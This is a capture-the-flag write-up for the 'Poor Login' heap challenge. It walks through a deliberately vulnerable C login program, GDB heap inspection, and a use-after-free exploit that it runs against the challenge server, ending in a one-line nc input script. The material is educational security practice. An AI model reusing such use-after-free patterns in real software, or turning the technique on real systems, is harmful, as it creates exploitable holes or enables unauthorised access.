Poor Login
8 minutes to read
We are given a 64-bit binary called login
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
We also have the C source code:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int menu() {
printf("*** WINBLOWS LOGIN *********\n"
"1. Login into user.\n"
"2. Sign out.\n"
"3. Print flag.\n"
"4. Lock user.\n"
"5. Restore user.\n"
"> ");
int resp = 0;
scanf("%d", &resp);
while (getchar() != '\n');
return resp;
}
struct creds {
void *padding;
char name[32];
int admin;
};
struct creds *curr;
struct creds *save;
char *fake_flag;
int main() {
char buff[64];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
while (1) {
switch (menu()) {
case 1: // Login
curr = malloc(sizeof(*curr));
printf("Username: ");
fgets(curr->name, sizeof(curr->name), stdin);
strtok(curr->name, "\n");
curr->admin = 0;
break;
case 2: // Sign out
if (!curr) {
puts("You are not logged in!");
break;
}
free(curr);
curr = NULL;
puts("You have been successfully logged out.");
break;
case 3: // Print flag
if (curr && curr->admin) {
puts("Here's your flag:");
system("/bin/cat /flag.txt");
} else {
if (!fake_flag) {
puts("You are not admin. Would you like to create a new flag instead?");
fgets(buff, sizeof(buff), stdin);
fake_flag = strdup(buff);
}
printf("Here's your flag: %s", fake_flag);
}
break;
case 4: // Lock user
if (curr == NULL) {
puts("You are not logged in!");
break;
}
puts("User has been locked now.");
save = curr;
break;
case 5: // Restore user
if (curr != NULL) {
puts("You are already logged. Sign out first!");
} else if (save == NULL) {
puts("No user is currently locked!");
} else {
printf("Welcome back, %s!\n", save->name);
curr = save;
save = NULL;
}
break;
default:
puts("Invalid choice");
}
}
}
The program has five options:
- Login as a new user
- Log out
- Print the flag or enter a fake flag
- Backup a user
- Restore backup
Some key things about the program:
- Users are stored on the heap because it is using
malloc
- There are two pointers to a
struct cred
, which are:curr
andsave
- If we log out (2), then
curr
will be released usingfree
and set toNULL
- If we print the flag (3) and we are not
admin
, then we can enter afake_flag
that will be saved usingstrdup
- If we print the flag (3) and we are
admin
, we get the real flag - We can backup a user stored in
curr
intosave
if we are authenticated - We can restore a user from
save
tocurr
if we are not authenticated
This program is vulnerable to Use After Free, which consists of releasing an object on the heap and use it again after.
Remember that free
does not remove the data from the heap, it just marks the chunk as unused.
The Use After Free vulnerability cames from the use of strdup
after realising the curr
pointer. The function strdup
allocates a string on the heap using malloc
with an amount of bytes equal to the length of the string. The behavior of malloc
is to allocate a certain amount of bytes on the heap, however, this process can be faster if malloc
is able to reuse a recently released chunk. Hence, if we release curr
and then enter a string for strdup
with the same size as the chunk for curr
had, the string will be stored there.
Let’s visualize it in GDB. First, we login (1):
$ gdb -q login
Reading symbols from login...
(No debugging symbols found in login)
gef➤ break menu
Breakpoint 1 at 0xa1e
gef➤ run
Starting program: ./login
Breakpoint 1, 0x0000555555400a1e in menu ()
gef➤ continue
Continuing.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 1
Username: AAAABBBBCCCC
Breakpoint 1, 0x0000555555400a1e in menu ()
Now we can easily find this username in memory:
gef➤ grep AAAABBBBCCCC
[+] Searching 'AAAABBBBCCCC' in memory
[+] In '[heap]'(0x555555603000-0x555555624000), permission=rw-
0x5555556032a8 - 0x5555556032b4 → "AAAABBBBCCCC"
gef➤ x/20x 0x555555603290
0x555555603290: 0x00000000 0x00000000 0x00000041 0x00000000
0x5555556032a0: 0x00000000 0x00000000 0x41414141 0x42424242
0x5555556032b0: 0x43434343 0x00000000 0x00000000 0x00000000
0x5555556032c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555556032d0: 0x00000000 0x00000000 0x00020d31 0x00000000
Notice that I examined a few bytes before the match to watch the whole structure and the chunk metadata (0x41
), which means that the whole chunk has 0x40
(or 64) bytes reserved and the previous chunk is in use (0x41
end in 1
).
Now we can call free
by signing out (2):
gef➤ continue
Continuing.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 2
You have been successfully logged out.
Breakpoint 1, 0x0000555555400a1e in menu ()
If we check again the heap, we will notice some differences:
gef➤ x/20x 0x555555603290
0x555555603290: 0x00000000 0x00000000 0x00000041 0x00000000
0x5555556032a0: 0x00000000 0x00000000 0x55603010 0x00005555
0x5555556032b0: 0x43434343 0x00000000 0x00000000 0x00000000
0x5555556032c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555556032d0: 0x00000000 0x00000000 0x00020d31 0x00000000
Now, the username has been overwritten with the address of the previous chunk.
Let’s see what happens if we enter a fake_flag
using strdup
(3) with a small length:
gef➤ continue
Continuing.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 3
You are not admin. Would you like to create a new flag instead?
EEEE
Here's your flag: EEEE
Breakpoint 1, 0x0000555555400a1e in menu ()
This is the heap at this point:
gef➤ x/28x 0x555555603290
0x555555603290: 0x00000000 0x00000000 0x00000041 0x00000000
0x5555556032a0: 0x00000000 0x00000000 0x55603010 0x00005555
0x5555556032b0: 0x43434343 0x00000000 0x00000000 0x00000000
0x5555556032c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555556032d0: 0x00000000 0x00000000 0x00000021 0x00000000
0x5555556032e0: 0x45454545 0x0000000a 0x00000000 0x00000000
0x5555556032f0: 0x00000000 0x00000000 0x00020d11 0x00000000
We can see that EEEE
(and new line character) was stored on the heap in another chunk (size 0x20
, 32). The function strdup
will reserve enough memory to store the actual length of the string (the nearest multiple of 16 greater than or equal to the actual size). Notice that we have 16 bytes for the chunk metadata and 5 bytes for the string, so the nearest multiple of 16 is 32.
The Use After Free vulnerability comes when malloc
finds a recently released chunk, and this happens if malloc
needs to allocate the same amount of bytes that the released chunk had. Hence, if we enter a fake_flag
that has enough length, its chunk metadata will be 0x41
and therefore malloc
will reuse the released chunk.
We can repeat the previous process until entering the fake_flag
:
gef➤ continue
Continuing.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 3
You are not admin. Would you like to create a new flag instead?
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
Here's your flag: EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
Breakpoint 1, 0x0000555555400a1e in menu ()
We have entered 48 characters. This is the heap now:
gef➤ x/28x 0x555555603290
0x555555603290: 0x00000000 0x00000000 0x00000041 0x00000000
0x5555556032a0: 0x45454545 0x45454545 0x45454545 0x45454545
0x5555556032b0: 0x45454545 0x45454545 0x45454545 0x45454545
0x5555556032c0: 0x45454545 0x45454545 0x45454545 0x45454545
0x5555556032d0: 0x0000000a 0x00000000 0x00020d31 0x00000000
0x5555556032e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x5555556032f0: 0x00000000 0x00000000 0x00000000 0x00000000
At this moment, if there was a user structure in that heap chunk, it would have an attribute admin != 0
, so we could read the real flag.
Nevertheless, when the pointer curr
is freed, it is also set to NULL
. Fortunately, we have the option to backup the current pointer into save
and afterwards recover the same pointer, so that we get what we want.
So, this will be the exploiting process:
- Login as any user using
malloc
(1) - Backup
curr
intosave
(4) - Log out to call
free
(2) - Enter a
fake_flag
with 48 bytes length (3) - Restore
save
intocurr
(5) - Print the real flag (3)
Let’s do it directly on server side:
$ nc thekidofarcrania.com 13226
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 1
Username: user
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 4
User has been locked now.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 2
You have been successfully logged out.
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 3
You are not admin. Would you like to create a new flag instead?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Here's your flag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 5
Welcome back, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
!
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> 3
Here's your flag:
CTFlearn{I_sh0uldve_done_a_ref_counter!!_:PPPPP}
*** WINBLOWS LOGIN *********
1. Login into user.
2. Sign out.
3. Print flag.
4. Lock user.
5. Restore user.
> ^C
And using a “one-liner”, we can extract just the flag:
$ python3 -c 'print("\n".join(["1", "user", "4", "2", "3", "A" * 48, "5", "3"]))' | timeout 1 nc thekidofarcrania.com 13226 | grep CTFlearn
CTFlearn{I_sh0uldve_done_a_ref_counter!!_:PPPPP}